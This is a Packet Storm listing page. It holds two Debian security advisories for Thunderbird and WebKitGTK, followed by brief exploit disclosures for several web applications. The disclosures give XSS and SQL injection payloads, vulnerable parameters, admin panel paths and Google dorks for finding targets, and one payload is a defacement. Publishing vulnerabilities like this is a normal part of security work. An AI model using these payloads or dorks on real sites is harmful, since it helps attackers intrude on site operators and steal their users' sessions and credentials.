Debian Linux Security Advisory 5469-1 - Multiple security issues were discovered in Thunderbird, which could result in denial of service or the execution of arbitrary code.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5469-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
August 05, 2023                       https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : thunderbird  
CVE ID         : CVE-2023-4045 CVE-2023-4046 CVE-2023-4047 CVE-2023-4048  
                 CVE-2023-4049 CVE-2023-4050 CVE-2023-4055 CVE-2023-4056

Multiple security issues were discovered in Thunderbird, which could  
result in denial of service or the execution of arbitrary code.

For the oldstable distribution (bullseye), these problems have been fixed  
in version 1:102.14.0-1~deb11u1.

For the stable distribution (bookworm), these problems have been fixed in  
version 1:102.14.0-1~deb12u1.

We recommend that you upgrade your thunderbird packages.

For the detailed security status of thunderbird please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/thunderbird

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmTOshEACgkQEMKTtsN8  
TjZruQ//dyQdCaWxEpxvCFG95f4D66Q1wNLz5BBjlgTNEAdnISM3HwEnercTFDD2  
03ZgDzmnhQeLNFCbnXF8j3CxNGKisd9WpWAG8liUHZibhEFcC+7dPVlQbGkSHse3  
KHVCHbOMGUEq1h5XDWFmU4yxhhHAbSjDSfakiqv6rYnUIwIwWanU3YmFUdmoYVh0  
ck/ztG9GqnCz6lnmhpGXTfMpPGtq2khCkeW5XI240scFlLRNBzggPAPxLM8T5cJP  
HLUv5GXx5MeFXQPiG1czdkevWljHVBZIRdIVKmhKepfFHOXt6YbHGFmWOow0cdzL  
ELKTsXl9ZlYTGoGVB5tssk2G+GXZ+VqbFXvYRAnxBpt0o79r0o19A7M/p1YxGRsy  
xqp5Ouk4Thy7uDb0HN/FzyV2cDUEbZFebxeYEn1/q1RdwmxYTssbmjFGkorPTLvr  
sK0tZqgMya5t1TolHh4YMXiiEwffAeNR/t0RQCJgOzujewsJgX4NH2PswcIYUqXR  
s1ZlpeZyxsFTvIDLj5WpLNf6cqeKa/YR4PcTbBW0ccxxN0maqYUvYNr9VmnOjWvJ  
eIXgwQVIVRWRjyoUmLMx/C0ltSxQyQHNUGKGRDcFWiltvRZhsqJ6e6Fot2GjOI/W  
d1u2hYuJ6gXlBoyZp0+jA8vxx8s5c9HwIgnhMIxvG8Q+hZRclKQ=NXzk  
-----END PGP SIGNATURE-----

Debian Security Advisory 5469-1

Debian Linux Security Advisory 5468-1 - The following vulnerabilities have been discovered in the WebKitGTK web engine. YeongHyeon Choi discovered that processing web content may disclose sensitive information. Narendra Bhati discovered that a website may be able to bypass the Same Origin Policy. Narendra Bhati, Valentino Dalla Valle, Pedro Bernardo, Marco Squarcina, and Lorenzo Veronese discovered that processing web content may lead to arbitrary code execution. Various other issues were also addressed.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5468-1                   security@debian.org  
https://www.debian.org/security/                           Alberto Garcia  
August 05, 2023                       https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : webkit2gtk  
CVE ID         : CVE-2023-38133 CVE-2023-38572 CVE-2023-38592 CVE-2023-38594  
                 CVE-2023-38595 CVE-2023-38597 CVE-2023-38599 CVE-2023-38600  
                 CVE-2023-38611

The following vulnerabilities have been discovered in the WebKitGTK  
web engine:

CVE-2023-38133

    YeongHyeon Choi discovered that processing web content may  
    disclose sensitive information.

CVE-2023-38572

    Narendra Bhati discovered that a website may be able to bypass the  
    Same Origin Policy.

CVE-2023-38592

    Narendra Bhati, Valentino Dalla Valle, Pedro Bernardo, Marco  
    Squarcina, and Lorenzo Veronese discovered that processing web  
    content may lead to arbitrary code execution.

CVE-2023-38594

    Yuhao Hu discovered that processing web content may lead to  
    arbitrary code execution.

CVE-2023-38595

    An anonymous researcher, Jiming Wang, and Jikai Ren discovered  
    that processing web content may lead to arbitrary code execution.

CVE-2023-38597

    Junsung Lee discovered that processing web content may lead to  
    arbitrary code execution.

CVE-2023-38599

    Hritvik Taneja, Jason Kim, Jie Jeff Xu, Stephan van Schaik, Daniel  
    Genkin, and Yuval Yarom discovered that a website may be able to  
    track sensitive user information.

CVE-2023-38600

    An anonymous researcher discovered that processing web content may  
    lead to arbitrary code execution.

CVE-2023-38611

    Francisco Alonso discovered that processing web content may lead  
    to arbitrary code execution.

For the oldstable distribution (bullseye), these problems have been fixed  
in version 2.40.5-1~deb11u1.

For the stable distribution (bookworm), these problems have been fixed in  
version 2.40.5-1~deb12u1.

We recommend that you upgrade your webkit2gtk packages.

For the detailed security status of webkit2gtk please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/webkit2gtk

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEYrwugQBKzlHMYFizAAyEYu0C2AIFAmTOj+AACgkQAAyEYu0C  
2AK4hw/+IqYa65blruup8jZigzY38U60+U+yzSa1MTtV04Nfv5UUMHw/AuSDi/ap  
U5Vcee/oAb8pFeaZFODPY4k6vHUSjc4iL21zG4X0nYvNL7S9KZOS8TlxLVbbDElu  
VLv3La7yB++vzv64DdU/ZuRkbuqowImesSxV8PFMaeJCWzMGX1Ck4jqqOPewmOAl  
EEc9sFQHavZIdsC7kYGYcJi5UDgHUdG7K1JwKmDyQ+cW4CiTHIpGshpBnOyz7Kx9  
AxTMscAqkigJznjY5kzWe5koFzZY7WTGmxmy7fjepEzB/Zdbl2+FRgFl3UHrd6kj  
90blbnyTT6C+/PXkMR8dbeC2y7yTWZoeyyedRu2m700IdZVR19DKCwNj2TaFXD28  
GKLe7fYKusyvPx63JVmHk6p9wokInOyimn+4Ldwv6q2CUAMXOLpia9hEjljrE1nj  
CNbgyJFsgJTbW069GhkABySNKeQbFd4OCZxemb6jcJsXn3pRWoK/32B8tu/srzJo  
OtdcuHC2TEyQS1EzgzJ25WrvcGkgTaz0eoemcXMdvp31xqWpmJEJoQ95Q/lwskq3  
5e0mOH3AabSDVioImrBNtjnDcPP7Sy8Mq70pv+qx6fQZZnnFUD7YLr8D4KcayUSP  
8M6hBjOj1qAJnXb2N2Cw2YRwYhcsFXQ9d7qbC7C03bEFIsSIx0A=VbdY  
-----END PGP SIGNATURE-----

Debian Security Advisory 5468-1

Social-Commerce version 3.1.6 suffers from a cross site scripting vulnerability.

    # Exploit Title: Social-Commerce 3.1.6 - Reflected XSS# Exploit Author: CraCkEr# Date: 28/07/2023# Vendor: mooSocial# Vendor Homepage: https://moosocial.com/# Software Link: https://social-commerce.moosocial.com/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site# CVE: CVE-2023-4174## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka  CryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionThe attacker can send to victim a link containing a malicious URL in an email or instant messagecan perform a wide variety of actions, such as stealing the victim's session token or login credentialsPath: /search/indexGET parameter 'q' is vulnerable to XSShttps://website/search/index?q=[XSS]URL path folder [1,2] is vulnerable to XSShttps://website/stores[XSS]/all-products?store_id=&keyword=&price_from=&price_to=&rating=&store_category_id=&sortby=most_recenthttps://website/user_info[XSS]/index/friendshttps://website/user_info/index[XSS]/friendshttps://website/faqs[XSS]/index?content_search=https://website/faqs/index[XSS]?content_search=XSS Payloads:j8chn"><img src=a onerror=alert(1)>ridxm[-] Done

Social-Commerce 3.1.6 Cross Site Scripting

mooSocial version 3.1.8 suffers from a cross site scripting vulnerability.

    # Exploit Title: mooSocial 3.1.8 - Reflected XSS# Exploit Author: CraCkEr# Date: 28/07/2023# Vendor: mooSocial# Vendor Homepage: https://moosocial.com/# Software Link: https://travel.moosocial.com/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site# CVE: CVE-2023-4173## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka  CryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionThe attacker can send to victim a link containing a malicious URL in an email or instant messagecan perform a wide variety of actions, such as stealing the victim's session token or login credentialsURL path folder is vulnerable to XSShttps://website/classifieds[XSS]/search?category=1https://website/classifieds/search[XSS]?category=1XSS Payloads:ijz3y"><img src=a onerror=alert(1)>y4apk[-] Done

mooSocial 3.1.8 Cross Site Scripting

Adlisting Classified Ads version 2.14.0 suffers from an information leakage vulnerability.

    # Exploit Title: Adlisting Classified Ads 2.14.0 - WebPage Content Information Disclosure# Exploit Author: CraCkEr# Date: 25/07/2023# Vendor: Templatecookie# Vendor Homepage: https://templatecookie.com/# Software Link: https://templatecookie.com/demo/adlisting-classified-ads-script# Tested on: Windows 10 Pro# Impact: Sensitive Information Leakage# CVE: CVE-2023-4168## DescriptionInformation disclosure issue in the redirect responses, When accessing any page on the website,Sensitive data, such as API keys, server keys, and app IDs, is being exposed in the body of these redirects.## Steps to Reproduce:When you visit any page on the website, like:https://website/ad-list?category=electronicshttps://website/ad-list-search?page=2https://website/ad-list-search?keyword=&lat=&long=&long=&lat=&location=&category=&keyword=in the body page response there's information leakage for +---------------------+google_map_keyapi_keyauth_domainproject_idstorage_bucketmessaging_sender_idapp_idmeasurement_id+---------------------+Note: The same information leaked, such as the API keys, server keys, and app ID, was added to the "Firebase Push Notification Configuration" in the Administration Panel.Settings of "Firebase Push Notification Configuration" in the Administration Panel, on this Path:https://website/push-notification (Login as Administrator)[-] Done

Adlisting Classified Ads 2.14.0 Information Disclosure

Datalife Engine version 10 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Datalife Engine v10 (ir) SQl injection Vulnerability                                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://datalifeengine.ir/                                                                                          || # Dork      : Powered by DataLife Engine © 2013                                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use Pyaload : /index.php?newsid=100 (inject her)[+] cpanl : http://127.0.0.1/datalifeengine/admin.php Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Datalife Engine 10 SQL Injection

Database Compilation CMS version 1.2 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Database compilation CMS v1.2 XSS Vulnerability                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0.2(32-bit)                                             | | # Vendor    : http://mcastel.weebly.com/                                                                                         |  | # Dork      : "Database compilation by Marco Castellani( INAF - Astronomical Observatory of Rome)"                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /table1a.php?sel=<script>alert(/indoushka/);</script>[+] http://127.0.0.1/table1a.php?sel=%3Cscript%3Ealert(/indoushka/);%3C/script%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Database Compilation 1.2 Cross Site Scripting

Cyber Infinite CMS version 1.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Cyber Infinite cms v1.0 SQL Injection Vulnerability                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 70.0.1(32-bit)                                             | | # Vendor    : http://citsite.com/                                                                                                |  | # Dork      : "Designed & Developed by: Cyber Infinite Technologies"                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] /view-member-detail.php?id=815 <====| inject here[+] /citcp/login.php <====| LoginGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Cyber Infinite CMS 1.0 SQL Injection

Cvanav-DAW CMS version 0.1 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Cvanav-DAW CMS v0.1 XSS Vulnerability                                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://vanavi.com                                                                                                 |  | # Dork      : intext:''Created by Vanavi.com'' site:cz                                                                           |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : /epodatelna.php?button=Odeslat&adresa=1&dic=1&dotaz=1&email=sample%40email.tst&ic=1&jmeno=1&kod=1&telefon=555-666-0606'"()%26%25<acx><marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+]  http://127.0.0.1/intranethygprahacz/epodatelna.php?button=Odeslat&adresa=1&dic=1&dotaz=1&email=sample%40email.tst&ic=1&jmeno=1&kod=1&telefon=555-666-0606%27%22()%26%25%3Cacx%3E%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Cvanav-DAW CMS 0.1 Cross Site Scripting

CSC-CMS version 1.0.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : CSC-CMS v1.0.0 Sql Injection Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               || # Vendor    : http://creativesales.hu/                                                                                           |  | # Dork      : A honlapot a Creative Sales Consulting készítette.                                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Panel : http://127.0.0.1/kkvpalyazathu/admin/[+] http://127.0.0.1/kkvpalyazathu/hirolvaso.php?id=7 <====| inject hereGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Source

Packet Storm